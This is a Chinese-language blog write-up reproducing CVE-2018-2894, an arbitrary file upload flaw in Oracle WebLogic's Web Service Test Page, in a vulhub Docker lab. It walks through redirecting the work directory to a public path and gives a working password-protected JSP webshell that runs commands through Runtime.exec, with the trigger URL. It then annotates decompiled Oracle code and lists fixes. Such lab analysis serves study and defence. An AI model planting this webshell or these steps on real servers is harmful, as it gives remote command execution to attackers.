[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)

CVE-2018-2894

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。(ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证)
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

WebLogic

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

漏洞背景

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

漏洞详情

http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW

参考链接

https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
https://xz.aliyun.com/t/2458

漏洞环境

开启docker之后,访问http://your-ip:7001/console,提示自动部署了应用,然后看到后台登陆界面
在这里插入图片描述
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic

在这里插入图片描述登陆,点击base_domain,可看到设置界面
在这里插入图片描述找到设置中的高级,勾选启用web测试服务页

在这里插入图片描述

漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。为什么将当前工作目录改为这个呢?因为我们需要找一个可以访问的路径,原本的当前工作目录外网是访问不到的。还记得开始时候页面提示了自动部署应用吗,这个/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(绝对路径)就是部署的web应用的目录(当然后面多加了一个css,这个无所谓),这个目录外网可以访问到,并且是无需权限的。外网访问它里面的文件就是就是http://your-ip:7001/ws_utc/css/文件
所以说能够利用这个漏洞的一个前提是知道部署web应用的目录。由于我们现在自己连接着服务器,前面又提示了自动部署了应用,就可以找找WEB-INF文件夹在哪里,经分析就可以找到部署的目录。

在这里插入图片描述
点击安全->添加,上传shell.jsp文件
在这里插入图片描述
在这里插入图片描述
抓包,看到返回了时间戳
在这里插入图片描述
这里我上传的shell.jsp为:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:根据我这里上传的webshell,即访问http://your-ip:7001/ws_utc/css/config/keystore/1571710839635_shell.jsp?pwd=023&i=ls

至于为什么是访问/ws_utc/css/config/keystore/[时间戳]_[文件名],第一,前面有设置工作目录为ws_utc应用的静态文件css目录,即/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,,也说了这样设置的原因是访问这个目录是无需权限的,那么后面的/config/keystore/[时间戳]_[文件名]呢,去下载一个weblogic试试就知道了,审计代码或者去尝试一下上传文件,就可以知道具体的web目录。

在这里插入图片描述

代码分析

参照这里:https://xz.aliyun.com/t/2458
我自己没有做调试,对java代码也不是很熟悉,简单根据这个文章看了一下漏洞代码
ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:
这个函数用于改变目录,但其中并未做任何过滤,只检测了是否可写

public void changeWorkDir(String path) {
/*  62 */     String[] oldPaths = getRelatedPaths();//获取旧的工作路径并且后面加一个config,getRelatedPaths()分析在贴图部分
/*     */     
/*  64 */     if (testPageProvider.getWsImplType() == ImplType.JRF) {//不太懂这个接口
/*  65 */       isWorkDirChangeable = false; 
/*  66 */       isWorkDirWritable = isDirWritable(path);//判断新的path是否可写,isDirWritable分析在贴图部分
/*  67 */       isWorkDirChangeable = true;
/*  68 */       setTestClientWorkDir(path);//设置新的path,setTestClientWorkDir(path)见贴图
/*     */     } else {
/*  70 */       persistWorkDir(path);
/*  71 */       init();//初始化
/*     */     }
/*     */     
/*  74 */     if (isWorkDirWritable) {  //如果新的path可写
/*  75 */       String[] newPaths = getRelatedPaths();//获取新的path
/*  76 */       moveDirs(oldPaths, newPaths);//把旧的目录的文件移动到新的目录下,并删除原来的目录下的文件,moveDirs()见贴图
/*     */     } else {
/*  78 */       Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
/*     */     }
/*     */   }

ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class中:

/*     */   @Path("/keystore")///keystore
/*     */   @POST
/*     */   @Produces({"application/xml", "application/json"})
/*     */   @Consumes({"multipart/form-data"})
/*     */   public Response editKeyStoreSettingByMultiPart(org.glassfish.jersey.media.multipart.FormDataMultiPart formPartParams) {
/* 191 */     if (!RequestUtil.isRequstedByAdmin(request)) {//这个接口不太懂,网络请求方面的
/* 192 */       return Response.status(Response.Status.FORBIDDEN).build();
/*     */     }
/*     */     
/*     */ 
/* 196 */     if (TestClientRT.isVerbose()) {//log开关方面的,isVerbose()见贴图
/* 197 */       Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
/*     */     }
/*     */     
/* 200 */     String currentTimeValue = "" + new Date().getTime();//得到毫秒数
/*     */     
/*     */ 
/* 203 */     KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
////TestClientRT.getKeyStorePath()见贴图,得到上传文件的路径,即getConfigDir() + File.separator + "keystore";
////convertFormDataMultiPart()见下面一段代码
/*     */     
/* 205 */     formParams.addValue("currentTimeValue", currentTimeValue);//currentTimeValue赋值
/*     */     
/* 207 */     return dealWithEditKeyStore(formParams);//返回数据包
/*     */   }
/*     */

接上,跟进convertFormDataMultiPart():
可以看到没有过滤和检查,直接将文件上传到了 /工作目录/config/keystore/毫秒_文件名

/*     */   public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix)
/*     */   {
/* 105 */     if (formPartParams == null) {
/* 106 */       return null;
/*     */     }
/*     */     
/* 109 */     KeyValuesMap<String, String> kvMap = new KeyValuesMapImpl();
/*     */     
/* 111 */     Map<String, List<FormDataBodyPart>> fieldMap = formPartParams.getFields();
/* 112 */     Set<String> keySet = fieldMap.keySet();
/*     */     
/* 114 */     List<FormDataBodyPart> fomrBodyParts = null;
/* 115 */     FormDataContentDisposition fdcd = null;
/* 116 */     File storePath = new File(path);
/* 117 */     for (Iterator localIterator1 = keySet.iterator(); localIterator1.hasNext();) { key = (String)localIterator1.next();
/* 118 */       fomrBodyParts = (List)fieldMap.get(key);
/* 119 */       for (FormDataBodyPart bodyPart : fomrBodyParts)
/*     */       {
/* 121 */         fdcd = b/odyPart.getFormDataContentDisposition();
/* 122 */         String attachName = fdcd.getFileName();//获取文件名
/*     */         
/* 124 */         if ((attachName != null) && (attachName.trim().length() > 0))
/*     */         {
/* 126 */           if ((attachName == null) || (attachName.trim().length() == 0)) {
/* 127 */             kvMap.put(key, new java.util.ArrayList());
/*     */           } else {
/* 129 */             attachName = refactorAttachName(attachName);
/*     */             
/* 131 */             if (fileNamePrefix == null) {
/* 132 */               fileNamePrefix = key;
/*     */             }
/* 134 */             String filename = new File(storePath, fileNamePrefix + "_" + attachName).getAbsolutePath();
//    /storepath/毫秒数_文件名  storepath就是TestClientRT.getKeyStorePath(),
//    即工作目录/config/keystore/毫秒_文件名
/* 135 */             kvMap.addValue(key, filename);
/*     */             
/* 137 */             if (isExtactAttachment) {
/* 138 */               saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
//   保存上传的文件到filename

/*     */             }
/*     */           }
/* 141 */         } else if (bodyPart.isSimple()) {
/* 142 */           kvMap.addValue(key, bodyPart.getValue());
/*     */         } else
/* 144 */           com.oracle.webservices.testclient.core.util.Logger.error("[SKIP] Unknown part type. Name: " + fdcd.getName());
/*     */       }
/*     */     }
/*     */     String key;
/* 148 */     return kvMap;
/*     */   }

以下是上面涉及到的一些函数

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复方案

1.登录授权后访问;
2.上传文件类型进行验证,前后端
3.重命名文件
4.MIME类型检测
5.限制上传文件的大小
6.限制上传的路径
7.限制上传路径的执行权限
8.不要回显上传文件的路径

发布了27 篇原创文章 · 获赞 8 · 访问量 8249

猜你喜欢

转载自blog.csdn.net/weixin_41652128/article/details/102676891